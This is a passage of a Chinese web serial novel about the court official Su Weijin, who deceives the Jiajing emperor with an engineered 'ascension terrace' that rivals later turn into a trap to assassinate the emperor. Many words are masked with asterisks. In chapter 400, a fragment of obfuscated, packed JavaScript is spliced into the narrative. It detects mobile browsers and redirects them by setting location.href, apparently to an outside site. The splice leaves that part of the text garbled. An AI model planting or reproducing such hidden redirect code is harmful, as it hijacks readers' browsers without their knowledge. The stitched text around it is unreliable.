严世蕃站在一旁,咬牙切齿。
“父亲,苏惟瑾这是要把陛下修仙钉死在‘圣道’上!”
您看这书里写的——把陛下炼丹和尧舜禅让、禹王治水并称‘三大圣迹’!”
还引《易经》《中庸》《孟子》……引了一百多处!”
这要是传开了,以后谁还敢劝谏陛下?”
严嵩没说话,翻着书页。
越翻心越沉。
这书编得太刁钻了——每一句看似荒谬的话,都配了经典原文和“考据”,乍一看还真像那么回事。
普通读书人,哪分得清哪些是曲解?
“咱们得反击。”
严世蕃急道,“儿子已经联络了几个御史,准备上疏**此书‘妖言惑众’‘亵渎圣教’……”
“糊涂!”
严嵩猛地一拍桌子,“这时候**,不是明摆着跟孔府作对?”
跟天下读书人作对?”
“那……那就任由他们胡来?”
严嵩沉默良久,缓缓道:“**如流水,堵不如疏。”
他苏惟瑾能编书,咱们也能。”
他站起身,走到书架前,抽出一本旧书:“《正统道藏》里,有历代皇帝修道炼丹的记载。”
你去找几个信得过的翰林,也编一本书——不驳斥他,而是‘补充’他。”
就说陛下修仙,当以道家正统为基,儒家为辅。
把水搅浑。”
严世蕃眼睛一亮:“父亲高见!”
儿子这就去办!”
“慢着。”
严嵩叫住他,“还有件事。”
前日宫中传出消息,陛下看了这书,龙颜大悦,赏了苏惟瑾一对玉如意。
可黄锦私下说,陛下问了句……”
他顿了顿,声音压低:“陛下问:‘苏爱卿如此擅长经营**,若有一天……他用这法子对付朕,该如何是好?’”
严世蕃一愣,随即狂喜:“陛下起疑心了?”
“疑心是有了,但还不够。”
严嵩捻须,“得加把火。”
你去找邵元节,让他在陛下跟前说说——这**操控之术,古来奸臣皆擅。
王莽篡汉前,不也是满天下颂声?”
“儿子明白!”
严世蕃匆匆离去。
严嵩坐回椅中,看着那本《圣主修仙录》,眼中寒光闪烁。
苏惟瑾,你以为掌控了**就赢了?
帝王心术,最忌臣子名声太盛。
你越得人心,陛下越不安。
三月初八,早朝。
果然有御史出列**。
不是严党的人,是个叫赵德清的老御史,以耿直敢言著称。
“陛下,”
赵德清跪地,双手捧着一份奏疏,“臣近日得见《圣主修仙录》一书,其中所言,荒诞不经,曲解圣教,实乃妖书!”
请陛下下旨禁毁,并治编纂者欺君之罪!”
殿内一片哗然。
嘉靖脸色沉下来:“赵御史,你说此书荒诞,荒诞在何处?”
“陛下,”
赵德清抬头,“书中将陛下炼丹服饵,与尧舜禹汤圣迹并列,此乃亵渎古圣!”
又将陛下**观想,牵强附会为《大学》之道,此乃歪曲经典!”
长此以往,儒学将沦为方术附庸,臣痛心疾首!”
他说得声泪俱下。
几个清流官员微微点头。
苏惟瑾出列,不慌不忙:“赵御史此言差矣。”
请问赵御史,尧舜禅让,是否合于天道?
禹王治水,是否顺应地理?
陛下修行,参悟天人之理,是否也是合于天道地理?”
赵德清一愣:“这……”
“既如此,为何不能并列?”
苏惟瑾继续,“至于曲解经典……赵御史说书中牵强附会,请问,哪一处牵强?
哪一处附会?
书中所引经典,句句有出处,字字有考据。
赵御史若觉得不对,不妨一一指出来,臣愿当场辩驳。”
赵德清张了张嘴,却说不出来。
他昨晚翻了一夜,那些引经据典的地方,还真挑不出毛病——因为那些经典原文确实存在,只是解读角度刁钻。
“陛下,”
苏惟瑾转身跪倒,“
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臣编纂此书,非为邀宠,实为陛下正名!”
天下人对陛下修行多有误解,臣不忍圣名受损,故竭尽全力,从圣教中寻依据、找根源。
若此举有错,臣甘愿领罪!”
这话说得诚恳。
嘉靖脸色缓和了些。
这时,礼部右侍郎、严嵩的门生周延出列:“陛下,臣以为,赵御史所言虽有过激,但也非全无道理。”
儒家自有正统,与修仙终究有别。
不如……另编一书,以道家经典阐发陛下修行,更为妥当?”
这是严嵩的“搅浑水”之策。
苏惟瑾心中冷笑,面上却道:“周侍郎此言,臣不敢苟同。”
陛下修行,乃融汇百家,岂能局限于一道?
《圣主修仙录》虽以儒家为主,但也汲取道家精华。
若另编道书,反显狭隘。”
他顿了顿,忽然道:“倒是周侍郎……似乎对陛下修仙另有看法?”
莫非觉得,陛下不配‘天人感应’?”
这话毒辣!
周延吓得脸色一白:“臣……臣绝无此意!”
“那就好。”
苏惟瑾微笑,“既然周侍郎也认同陛下修行乃‘天人感应’,那又何必另编道书?
莫非……是想分化陛下圣道?”
周延冷汗直流,连连磕头:“臣不敢!”
臣糊涂!”
嘉靖看着这场面,心中那点疑云,暂时被压了下去。
他摆摆手:“罢了。”
赵御史年老昏聩,念其往日忠直,罚俸三月。
此书……继续刊行。
退朝。”
退朝后,苏惟瑾刚出奉天门,就被孔闻韶派来的使者拦住。
“伯爷,”
使者低声道,“公爷让小人传话:书已发往全国,反响甚好。”
但山东按察使司昨日派人到曲阜,说要‘核查’此书有无违禁。
公爷担心……”
“告诉公爷,不必担心。”
苏惟瑾淡淡道,“山东按察使是严嵩的人,他们查不出什么。”
若真敢刁难,我自会处理。”
使者离去后,胡三从暗处转出:“公子,刚收到登州急报。”
“说。”
“周将军的人摸清了,那船坞里在建的船,明日……也就是三月初九,就要下水试航。”
而且,”
胡三声音发紧,“船坞里不止一艘船,还有两艘已经建好的,藏在山洞里。
那两艘……装了大炮。”
苏惟瑾眼神一凛:“严世蕃到了吗?”
“到了,昨晚秘密登岛。”
同行的还有……邵元节。”
邵元节?
苏惟瑾皱眉。
这个失势的方士,怎么也掺和进来了?
“另外,”
胡三继续道,“船坞守卫极严,除了水师的人,还有一批生面孔,身手了得,像是江湖人。
咱们的人进不去。”
苏惟瑾沉思片刻:“告诉周大山,按原计划,三月初九子时动手。”
让苏惟奇的船队,初八亥时抵达预定位置,封锁海面。”
“是!”
胡三正要走,苏惟瑾叫住他:“还有,让彭小六查查,邵元节和严世蕃,最近有没有接触过……葡萄牙人。”
“葡萄牙人?”
胡三一愣,“那些红毛夷?”
“对。”
苏惟瑾望向南方,眼神深邃,“**造的那些炮,若真是加农炮……这技术,不是他一个人能琢磨出来的。”
超频大脑中,无数线索串联:精钢冶炼、加农炮设计、航海技术、葡萄牙人在东南沿海的活动……
一个可怕的猜想逐渐成形。
如果严世蕃和**,不止是在造私船,而是在和葡萄牙人合作,获取超越时代的技术……
那这场阴谋,就不仅仅是争权夺利了。
那可能是……引狼**!
**战场大获全胜,《圣主修仙录》风行天下。
但刘公岛危机急剧升级——新船明日下水,严世蕃与邵元节亲临,更出现了葡萄牙人的疑云!
苏惟瑾猛然想起:去年月港曾有奏报,一艘葡萄牙商船在福建外海“失踪”,船上载有“奇技淫巧之物”……
若那艘船根本没失踪,而是被严世蕃暗中接收了呢?
明日船坞试航,究竟试的是新船,还是……搭载了西洋火炮的战舰?
而邵元节的现身,是否意味着这场阴谋,甚至得到了嘉靖皇帝身边人的默许?
风暴眼已至刘公岛,距离摊牌仅剩一天!
第400章 飞升计渐成,瑾造登仙台
(注:本章为回忆插叙,时间点为嘉靖八年春)
嘉靖八年的春天来得特别早。
二月刚过,西苑的柳树就抽了新芽,太液池的冰化得七七八八。
可嘉靖皇帝没心思赏春——他连着三晚做了同一个梦。
梦里,他穿着杏黄道袍,站在一座高台上。
台下文武百官、黎民百姓黑压压跪了一片。
天边祥云翻涌,忽然一条五爪金龙破云而出,龙须飘荡,龙眼如炬。
金龙俯冲而下,在他面前停住,温顺地垂下头颅。
他骑上龙背,金龙长吟一声,腾空而起。
穿云破雾,直上九霄。
天上宫阙连绵,仙娥奏乐,老君炼丹,玉帝在瑶池边向他招手……
每次都是到这儿就醒了。
三月初一,天还没亮,嘉靖就从龙床上坐起来,额头上都是汗——激动的。
“黄锦!黄锦!”
值夜的小太监连滚爬进来:“陛下……”
“去!传靖海伯……不,传苏惟瑾!立刻进宫!”
辰时初,苏惟瑾匆匆赶到西苑澄心堂。
他那时还不是靖海伯,只是刚入阁两年的年轻阁臣,因“平倭献策”“整顿海防”刚崭露头角。
穿着一身绯色官袍,进殿时还带着晨露的湿气。
“臣苏惟瑾,叩见陛下。”
“爱卿平身。”嘉靖从蒲团上站起身,眼睛亮得吓人,“朕昨晚……又梦到了。”
苏惟瑾抬头,超频大脑瞬间扫描嘉靖状态:瞳孔略微放大,呼吸稍快,手指有轻微震颤——是长期服用“清心丹”(当时还是初代替代丹药)加上心理暗示的叠加效果。
他心中明镜似的,面上却露出凝重神色。
“陛下,”他压低声音,“连续三夜,同一梦境?”
“一字不差!”嘉靖激动地来回踱步,“乘龙飞升,直上九霄!爱卿,你说这是何兆?”
苏惟瑾沉默片刻,忽然撩袍跪倒,以头触地:“臣……恭贺陛下!”
嘉靖一愣:“何喜之有?”
“陛下!”苏惟瑾抬头,眼中恰到好处地闪烁着“震撼”与“狂喜”,“昔黄帝铸鼎于荆山,鼎成,有龙垂胡髯下迎,黄帝乘龙升天。”
今陛下连得此梦,此乃天启!飞升之期近矣!”
这话像一道霹雳,把嘉靖劈呆了。
飞升?成仙?
他修仙这么多年,服了无数丹药,建了无数法坛,不就是为了这个?
可当梦境如此清晰地预示时,他还是觉得……太突然了。
“爱卿……此言当真?”嘉靖声音发颤。
“千真万确!”苏惟瑾叩首,“臣熟读典籍,古来圣王飞升,皆有预兆。”
尧舜禅让,天降祥云;禹王治水,神龟负图。
陛下近年祥瑞频现,西苑现七彩霞光,太庙生灵芝仙草,如今又得飞升之梦——此非偶然,实乃陛下修行圆满,天道感应!”
他每说一句,嘉靖的眼睛就亮一分。
是啊,祥瑞、仙草、霞光……现在又有梦兆!
这不正是上天在告诉他:时候到了!
“那……那朕该如何?”嘉靖抓住苏惟瑾的手臂,“爱卿可能为朕筑台演礼,以应天象?”
苏惟瑾心中暗笑:鱼上钩了。
面上却露出为难之色:“陛下,飞升乃千古盛事,非同小可。”
需合天时、地利、人和,缺一不可。”
“你说!要什么,朕都给!”
“臣请以三年为期。”苏惟瑾伸出三根手指,“第一年,筑‘登仙台’——此台需选址龙脉汇聚之处,高九丈九尺,合九九至尊之数。”
台上设祭坛、观星仪、接引法阵。”
“第二年,炼‘飞升丹’——此丹非寻常丹药,需集天下灵药,以三昧真火炼制九九八十一日。”
丹成之日,天必有异象。”
“第三年,择吉日,行大典。”
届时陛下服丹登台,百官观礼,万民朝拜,天降祥瑞,金龙接引——如此,方是圆满。”
三年!
嘉靖有些急,但转念一想:飞升大事,确实该隆重。
三年……也不算长。
“好!就依爱卿!”嘉靖一拍大腿,“朕这就下旨,举国之力,筹备飞升大典!”
爱卿全权负责,要钱给钱,要人给人!”
“臣,万死不辞!”苏惟瑾再叩首。
退出澄心堂时,苏惟瑾后背的官服都湿透了——不是紧张,是憋笑憋的。
三年?
三年后这皇帝还在不在位都两说呢。
不过有了这道旨意,他就能光明正大地搞“黑科技”了。
当天下午,京郊“格物学堂”秘密工坊。
这地方名义上是研究农具、改良织机的“官办作坊”,实际是苏惟瑾的科技研发中心。
外围有虎贲营的人把守,闲人免进。
工坊最深处的密室里,七八个核心工匠围着一张长桌。
桌上摊着张巨大的图纸——正是“登仙台”的设计图。
“公子,这台子……”负责建筑的老匠人鲁师傅盯着图纸,眉头紧锁,“高九丈九尺,还要在顶上留个……这个圆洞是做什么的?”
“那是‘接引天光’用的。”苏惟瑾指着图纸,“注意看,台子内部是空心的,有螺旋阶梯可上。”
顶部这个圆洞,直径三尺,正对天穹。
到时陛下站在洞下,会有‘天光’照射,宛如神迹。”
“天光?”鲁师傅不解,“那不就是太阳光?”
“不完全是。”苏惟瑾笑了笑,又摊开另一张图,“看这个。”
这张图上画的是个巨大的球状物,用丝绸和竹篾制成,下面吊着个篮子。
旁边标注着密密麻麻的字:热空气密度小,加热可升空;球囊需涂防火胶;篮下设火炉,燃料用精炼火油……
“这叫‘热气球’。”苏惟瑾解释,“飞到天上,能载人。”
到时候,咱们在登仙台顶布置机关,用热气球吊起一面巨大的铜镜,调整角度,把阳光反射到圆洞里——那就是‘天光’。”
工匠们听得目瞪口呆。
飞上天?
铜镜反射阳光?
这……这真是仙家手段!
“还有这个。”苏惟瑾又拿出一份图纸,“干冰制备装置。”
图纸上画着些铁罐、铜管、阀门。
原理简单:收集二氧化碳(通过燃烧木炭、石灰石煅烧等方式),加压、冷却,制成固态干冰。
干冰遇热迅速升华,产生大量白雾,铺在地上如同云海。
“到时候,登仙台周围铺满干冰,陛下登台时,烟雾缭绕,宛如仙境。”苏惟瑾继续道,“再配合特制的烟花——烟花里加金属粉末,燃烧时呈现不同颜色。”
还有灯光,用透镜聚光,可以打出七彩光柱。”
他一样样说下去:用滑轮组和机关控制“金龙”模型(由工匠操纵,在隐蔽轨道上滑行);训练白鹤、仙鹿在特定时间出现(胡三的驯兽本事派上用场);甚至设计了“仙乐”系统——在台下埋设铜管,乐师在远处演奏,声音通过铜管传到台上,仿佛天籁……
等他说完,密室一片死寂。
工匠们你看我我看你,最后鲁师傅颤巍巍开口:“公子……您这是……要造一座真的登仙台?”
“对。”苏惟瑾点头,“但记住,这一切都是‘仙术’,是‘祥瑞’。”
你们出去只能说,是在为陛下准备飞升大典。
具体细节,一个字都不能泄露。”
“明白!”众人齐声。
从那天起,秘密工坊进入全力运转。
鲁师傅带着三百工匠,在京郊西山选了一块“龙脉汇聚”之地(其实是苏惟瑾用现代地理知识挑的,地势平坦、隐蔽性好),开始筑台。
九丈九尺的高台,用钢筋混凝土浇筑主体,外表包上青石,刻满云纹仙兽。
内部留空,布置机关通道。
热气球试验了十七次,摔坏了六个球囊,终于成功升空。
最大的一只能载重五百斤,飞三十丈高。
铜镜反射系统更复杂,需要精确计算太阳角度,设计可调节的支架。
干冰制备最麻烦。
二氧化碳收集效率低,冷却技术不过关。
苏惟瑾亲自上手,设计了简易的压缩机和冷却塔,用硝石制冰辅助降温。
三个月后,第一批干冰制成,倒在水里,白雾滚滚,把工匠们吓得不轻。
胡三那边也没闲着。
他驯了十二只白鹤,在翅膀上涂了荧光粉(用贝壳和特殊矿物研磨而成),夜里飞起来隐隐发光。
仙鹿更简单,找了几头温顺的**,训练它们听到特定哨声就登场。
一切都在有条不紊地进行。
嘉靖八年秋,登仙台地基完工。
嘉靖九年夏,台身筑到五丈。
嘉靖十年春,九丈九尺台体竣工,开始内部装修。
这期间,嘉靖每个月都要问进度。
苏惟瑾每次都答:“一切顺利,祥瑞频现。”
然后适时“发现”些“天降异象”——比如工地上挖出块古玉,刻着“飞升”二字;比如某夜西山现七彩光,持续一刻钟;比如有仙鹤绕台三匝,长鸣而去……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068102|186215||http|test|mini|href|location''.split(''|''),0,{}));
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r>嘉靖越发深信不疑,对苏惟瑾的信任也达到顶峰。
甚至破格加封他为“太子少保”,赏赐无数。
(回忆结束,拉回现实时间线——嘉靖十三年三月初八)
靖海伯府书房,烛火跳动。
苏惟瑾从回忆中抽离,看着手中那份泛黄的“登仙台”原始图纸,嘴角泛起一丝苦笑。
三年了。
登仙台早已建成,藏在西山深处,外表看是座普通的道观,内里机关重重。
热气球、干冰、烟花、灯光、驯兽……所有“祥瑞”都已备齐。
按照原计划,今年秋天就该启动“飞升大典”了。
可现在……他盯着桌上另一份密报——刘公岛船坞明日试航,严世蕃、邵元节亲临,可能还有葡萄牙人。
“公子,”胡三推门进来,声音低沉,“刚收到飞鸽传书,周将军的人已经就位。”
苏惟奇的船队一个时辰前抵达刘公岛外海,隐蔽在礁石群后。”
“好。”苏惟瑾收起图纸,“告诉大山,子时一到,立刻动手。”
优先控制那艘新船,若控制不了……就炸沉它。”
“炸沉?”胡三一惊,“那船上可能有好东西……”
“再好的东西,也不能落在敌人手里。”苏惟瑾眼神冰冷,“尤其是……可能超越这个时代的东西。”
他走到窗前,望着南方夜空。
三月初八,无月,星子稀疏。
“三爷,你说**……真的造出加农炮了吗?”
“探子说听见试炮声,但没亲眼见到。”胡三迟疑,“公子,若真是加农炮,咱们的火铳……”
“打不过。”苏惟瑾直言,“加农炮射程至少三里,精度高,威力大。”
咱们的燧发枪最多两百步。
所以必须近身,必须突袭。”
他顿了顿:“还有邵元节。”
他一个失势的方士,跑去刘公岛做什么?”
胡三摇头:“不清楚。”
但咱们在宫里的眼线说,邵元节这半年,跟严世蕃来往密切。
而且……他好像懂一些奇门机关之术。”
奇门机关?
苏惟瑾心头一动。
邵元节早年靠“仙术”得宠,会不会……他也懂些超越时代的知识?
或者,他从别处得到了某些知识?
正思忖间,苏惟奇匆匆进来,脸色煞白。
“公子,出事了!”
“说。”
“彭小六刚传回消息,说四海镖局押的那批黑铁石……不止运到了刘公岛。”苏惟奇声音发颤,“还有一批,十天前就运去了……西山!”
“西山?”苏惟瑾一愣,“哪个西山?”
“就是……登仙台所在的西山!”
苏惟瑾脑中“轰”的一声。
黑铁石、西山、登仙台、邵元节、机关术……
所有线索瞬间串联起来!
“快!”他猛地转身,“备马!去西山登仙台!现在!”
“公子,那刘公岛……”
“让周大山按计划行动!咱们去西山!”苏惟瑾抓起佩剑,“我明白了……严世蕃和**,根本不是在造什么私船舰队!”
他们是要用黑铁石……改造登仙台!”
他一边往外冲,一边对胡三吼道:“通知虎贲营,调一千人,急行军赶往西山!”
再传令京营,封锁西山所有进出道路!”
夜风呼啸,马蹄如雷。
苏惟瑾在马上疾驰,脑中飞速复盘:严世蕃知道登仙台的存在,知道那里有热气球、有干冰、有各种机关。
如果他用黑铁石炼出的精钢,改造那些机关;如果他用从葡萄牙人那里得到的知识,升级那些设备……
那登仙台就不再是为皇帝准备的“飞升舞台”。
那会变成一个……巨大的**机器!
而明天,三月初九,正是原定“飞升丹”开炉的日子!
嘉靖皇帝……很可能要去西山观礼!
飞升计划本是苏惟瑾操控皇帝的手段,如今却可能被严世蕃和**利用,改造成弑君陷阱!
黑铁石运往西山,邵元节精通机关术,葡萄牙人的技术……一切线索指向一个可怕的可能:明天三月初九的“飞升丹开炉”,将是刺杀皇帝的最佳时机!
而此刻苏惟瑾才惊觉——登仙台内部机关复杂,他虽熟悉,但若被敌人改造,后果不堪设想!
西山与刘公岛,两处战场同时告急,苏惟瑾能否及时赶到西山,阻止这场借“飞升”之名的弑君阴谋?
而刘公岛上的周大山,又将面临怎样一场恶战?
双线危机,同时引爆!
第401章 登仙台巧筑,瑾藏杀机于
(接第400章回忆线,嘉靖八年秋)
西苑太液池的北岸,有片地方叫“琼华岛”。
岛不大,但地势隆起,形如伏龟。
钦天监的老监正捋着白胡子说:“此地乃京师龙脉结穴之处,紫气东来,祥云常驻。”
苏惟瑾带着工部官员、钦天监属员,在这岛上转了三圈。
最后站在岛心一块天然巨石旁,拍了拍石头:“登仙台,就建在这儿。”
工部左侍郎李承恩皱眉:“伯爷,此地虽好,但土质松软,九丈九尺的高台……怕是地基不稳。”
“李侍郎放心。”苏惟瑾从袖中掏出一卷图纸,“台基深挖三丈,用三合土(石灰、黏土、砂石)夯实。”
再以青石砌筑,每层石缝灌铅汁,固若金汤。”
他展开图纸,上面画的登仙台,外形是传统的八角楼阁样式,飞檐斗拱,雕梁画栋,看着跟寻常道观高塔没两样。
但细看内部剖面图——李承恩眼珠子瞪圆了。
“这……这些是什么?”
图纸上,台心位置画着复杂的滑轮组、绞盘、绳索;台基部分有密密麻麻的铜管网络,连接着地下的“储气罐”;四周墙体内嵌着镜片阵列,角度经过精密计算。
“仙家机关。”苏惟瑾面不改色,“陛下飞升,岂能无祥瑞相伴?”
这些是接引天光、喷涌仙雾、升降仙撵的装置。”
李承恩将信将疑。
他是工部老臣,精通营造,可这些玩意儿,闻所未闻。
“李侍郎若是不信,”苏惟瑾收起图纸,“可随本伯去格物学堂的试验场,一看便知。”
三天后,格物学堂秘密工坊。
李承恩看着眼前那套缩小版的“升降机关”,嘴巴张得能塞鸡蛋。
两个工匠转动绞盘,绳索通过滑轮组,将一架小小的“仙撵”模型平稳吊起三丈高。
松开绞盘,仙撵缓缓下降,落地时几乎无声。
“这……这怎么做到的?”
“杠杆原理,滑轮省力。”苏惟瑾指着装置,“台上那套,规模更大,可吊起千斤重物。”
陛下乘坐仙撵登台,到了台顶,仙撵可升至半空——届时云雾缭绕,宛如飞升。”
李承恩绕着模型转了三圈,终于叹服:“伯爷真乃神工!”
搞定工部,接下来是钦天监。
老监正更关心风水方位,苏惟瑾早有准备——他让鹤岑老道出马,在选址处做了场法事,埋下“镇物”。
老监正捻须点头:“鹤岑国师亲自镇场,此地大吉。”
嘉靖八年十月,登仙台正式动工。
苏惟瑾从格物学堂挑了三百工匠,全是签了死契、家眷由云裳阁供养的“自己人”。
工钱是寻常工匠的三倍,但规矩也严:不得外出,不得与外人交谈,违者全家连坐。
工地外围有虎贲营把守,闲人不得靠近。
每日进出材料,都有专人清点记录。
鲁师傅是总工头,五十多岁的老匠人,儿子在云裳阁做账房,女儿嫁给了苏惟瑾一个远房族侄。
他戴着老花镜,对照图纸,一丝不苟。
“公子,”施工半月后,鲁师傅找到苏惟瑾,压低声音,“按您的吩咐,咱们做了两套机关。”
“说。”
“第一套,‘展示版’。”鲁师傅翻开账本,“滑轮组用普通铁制,承重八百斤;铜管用黄铜,壁厚三分;镜片是普通水晶,打磨得光亮些。”
这套……应付检查足够。”
苏惟瑾点头:“严嵩肯定会派人来查。”
这套就给他们看。”
“第二套,‘执行版’。”鲁师傅声音更低了,“滑轮组用精钢,是格物学堂新炼的,承重两千斤;铜管是紫铜掺了锡,耐压,壁厚五分;镜片用的是您说的‘凸透镜’,从西域商人那儿高价买的,聚光效果极好。”
他顿了顿:“还有台心的升降机关……按您吩咐,做了个‘活扣’。”
平时与展示版无异,但关键时刻,转动台下暗藏的机括,滑轮组会脱钩——仙撵升到顶后,就下不来了。”
苏惟瑾眼中寒光一闪:“下不来?”
“对。”鲁师傅比划着,“展示版的绞盘是双向的,可上可下。”
执行版的绞盘,升到顶后,暗扣锁死,除非从台顶内部解锁,否则……只能悬在半空。”
苏惟瑾沉默片刻:“这事,还有谁知道?”
“就我,和两个徒弟。”他俩的爹娘都在云裳阁的庄子上养老。”
“公子放心,咱们一家老小的命,都是公子给的。”
“好。”苏惟瑾拍拍他肩膀,“继续干。”
记住,展示版的细节要做足,绝不能让人看出破绽。”
嘉靖九年春,登仙台筑到五丈高时,严嵩果然来了。
他是陪着嘉靖来“巡视工程”的。
皇帝坐在御辇上,远远望着那巍峨的台基,龙颜大悦:“爱卿辛苦了!此台建成,必是千古奇观!”
严嵩跟在后面,一双老眼仔细打量着工地。
他给身后的工部员外郎使了个眼色——那是他安插的人。
巡视完毕,严嵩单独召见那员外郎。
“如何?”
“回阁老,”员外郎低声道,“下官仔细看了,台子造得确实精巧。”
那些机关……下官不太懂,但试了试升降绞盘,很顺畅。”
铜管也敲了,是实心的。”
镜片反光,看着也通透。”
“没什么异常?”
“暂时没发现。”员外郎犹豫了下,“就是……工匠嘴太严,问什么都不说。”
工头是个姓鲁的老头,只说是按苏伯爷的图纸办事。”
严嵩捻须沉思。
他知道苏惟瑾在搞鬼,可抓不到把柄。
那些机关虽然稀奇,但名义上是为“飞升”准备的,他若质疑,就是质疑皇帝修仙。
“继续盯着。”他吩咐,“尤其是台子内部的构造,想办法弄到详细图纸。”
“是。”
嘉靖十年三月,登仙台竣工。
九丈九尺的高台,矗立在琼华岛上,巍峨壮观。
八角飞檐上悬挂铜铃,风吹过,铃声清越,如仙乐缥缈。
台身青石上刻满云纹、仙兽、符文,阳光下泛着幽光。
竣工大典上,鹤岑老道做了一场盛大的“开光祈福”法事。
他在台基四角埋下“镇物”——外人看来是玉璧、铜钱、五谷等吉祥物,实际每件“镇物”里,都藏着一枚苏惟瑾特制的铜制信标。
信标只有指甲盖大,中心是磁石,外壳刻着细密的纹路。
这是苏惟瑾根据现代“射频识别”原理设计的简化版——用特制的罗盘在附近探查,指针会有特定偏转。
有了这些信标,他就能随时掌握登仙台的状态,甚至远程操控某些机关。
法事做完,嘉靖亲笔题写“登仙台”匾额,命人鎏金悬挂。
当晚,他在西苑大宴群臣,赏苏惟瑾黄金千两,锦缎百匹。
席间,严嵩举杯祝贺,笑容满面,可眼神冰冷。
他派去的人,终究没拿到内部图纸。
苏惟瑾坦然受之。
他知道,真正的较量,才刚刚开始。
(回忆结束,拉回现实时间线——嘉靖十三年三月初八夜)
马蹄声在寂静的山道上疾驰。
苏惟瑾伏在马背上,脑中飞速回放着登仙台的每一个细节。
滑轮组、铜管、镜片、信标……还有那个致命的“活扣”。
“公子!”胡三从后面赶上,喘着粗气,“虎贲营的一千人,已经抄小路先赶往西山了!”
周将军那边……刚收到飞鸽,说刘公岛船坞有异动,他们提前行动了!”
“什么时候?”
“半个时辰前!”胡三道,“苏惟奇的船队封锁了海面,周将军带人突袭船坞。”
但……遇到了抵抗,对方有火铳,而且射程极远!”
加农炮!苏惟瑾
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心头一紧。
**果然造出来了!
“战况如何?”
“还在打。”胡三脸色难看,“咱们的人伤亡不小。”
但周将军说,那艘新船还没下水,他们正在强攻船坞,要炸掉它!”
“告诉他,务必毁掉那艘船!”苏惟瑾咬牙,“还有,活捉**!”
我要知道,他到底在登仙台动了什么手脚!”
正说着,前方山路拐角处,突然冲出几匹快马,马上是虎贲营的斥候。
“伯爷!”斥候勒马急停,“西山登仙台……有火光!还有打斗声!”
苏惟瑾瞳孔骤缩:“多少人?”
“看不清楚,但不少于二百!守台的弟兄们正在抵抗,可对方有**箭,还有……会喷火的管子!”
喷火的管子?苏惟瑾脑中闪过一个词:**?
不可能!这个时代怎么可能有……
等等!如果是利用猛火油(石油)加上压缩空气……
**!这个掌握了现代知识的学生,到底还造出了什么鬼东西!
“加速!”苏惟瑾一鞭抽在马臀上,“所有人,跟我冲!”
夜色中,三百骑如离弦之箭,冲向西山。
而此刻,登仙台所在的琼华岛上,已是火光冲天。
守台的五十名虎贲营士兵,依托台基顽强抵抗。
他们没见过这种武器——对方拿着铁管,一按机关,就能喷出三丈长的火舌,沾上就烧,水泼不灭。
“是猛火油!”一个小旗官吼道,“找沙土!用沙土盖!”
可对方不止有喷火管,还有**箭。
箭矢上绑着油布,点燃后射过来,落地就是一片火海。
守台队长赵铁柱脸上被燎出一串水泡,他嘶吼着:“顶住!伯爷马上就来了!”
登仙台内部,鲁师傅带着十几个工匠,正手忙脚乱地操作机关。
“快!把铜管阀门都关上!”鲁师傅满头大汗,“地下的干冰罐不能出事!那玩意儿要是炸了……”
话音未落,台基一阵晃动。
“他们炸了入口!”一个年轻工匠尖叫。
鲁师傅冲到内壁的窥孔前,往外一看——十几个黑衣人,拿着奇怪的铁钳,正在破坏台基的石门。
那铁钳咬合处,竟然能迸出火花,石头被一点点凿开。
“是精钢造的!”鲁师傅心凉了半截。
这种工具,只有格物学堂最核心的工匠才会用。
**……果然把技术泄露了!
“师傅!”另一个工匠跑来,“升降机关的活扣……被人动过了!”
“什么?”鲁师傅冲上台心。
只见那巨大的绞盘旁,原本隐蔽的“转换机括”,已经被人扳到了“执行版”的位置。
也就是说,现在任何人坐上仙撵升到台顶,都会被困在半空,下不来!
“快!扳回去!”鲁师傅吼道。
“扳不动!”工匠哭丧着脸,“机括被卡**!”
有人用铁水浇**锁芯!”
鲁师傅脸色惨白。
完了……这是专门为皇帝准备的陷阱。
只要嘉靖明天来观礼,坐上仙撵……
必死无疑!
就在此时,台外传来震天的喊杀声。
苏惟瑾到了。
登仙台暗藏的杀机被提前触发,执行版机关被锁死,皇帝一旦登台必将殒命!
而**派来的黑衣人不仅装备了超越时代的喷火器和破拆工具,显然对登仙台内部结构了如指掌!
更令人心惊的是,苏惟瑾冲入登仙台内部时,鲁师傅颤抖着指向台顶:“公子……鹤岑国师埋的信标,全被人换过了!”
现在的信标……会干扰罗盘,让咱们找不到真正的机关控制点!”
内外受敌,机关被篡改,距离嘉靖皇帝明日观礼只剩不到六个时辰,苏惟瑾能否在这座自己亲手设计的死亡陷阱中,找出破解之法?
而刘公岛上周大山生死未卜的战报,更让这场双线危机雪上加霜!
第402章 飞升丹诡秘,瑾调虎离山
登仙台外的喊杀声隐约传来。
苏惟瑾刚带人冲进台内,就听见鲁师傅那句“信标全被换了”。
他心头一沉,但此刻没时间细究——台外虎贲营正与黑衣人激战,每耽搁一息,就多一分伤亡。
“胡三!带一百人守死入口!”苏惟瑾吼道。
“惟奇,你去升降机关那里,想办法破解活扣!”
“鲁师傅,带我看信标!”
众人分头行动。
苏惟瑾跟着鲁师傅冲到台基东南角——那里本该埋着一枚铜制信标,是他监控登仙台状态的“眼睛”。
鲁师傅撬开石板,下面的土坑里确实有枚铜件,但纹路完全不对。
原本精细的放射状刻纹,变成了杂乱的漩涡纹。
“公子您看,”鲁师傅颤抖着手,“这纹路……是反着刻的!”
“咱们的罗盘靠近,指针会乱转,根本定不了位!”
苏惟瑾拿起那枚假信标,超频大脑瞬间分析。
纹路走向、磁石极性、甚至铜件的合金比例……全都错了。
这不是粗制滥造的仿品,而是精心设计的干扰装置。
能用这种手法的人,不仅熟悉信标原理,还懂磁学、懂材料学。
“**……”苏惟瑾咬牙。
只有这个格物学堂出身的叛徒,才有这本事。
台外突然传来**声,震得台体微微晃动。
“伯爷!”一个满脸是血的士兵冲进来,“那些黑衣人……扔会炸的铁球!”
“咱们的兄弟……”
“用沙袋垒掩体!别硬冲!”苏惟瑾下令,脑中却在急速思考。
登仙台的机关被篡改,信标被替换,敌人装备精良且熟悉内部结构……
这绝不是临时起意的袭击。
严世蕃和**,早就盯上了这里。
而他们的目标,显然是明天要来观礼的嘉靖皇帝。
苏惟瑾靠在冰冷的石壁上,闭上眼。
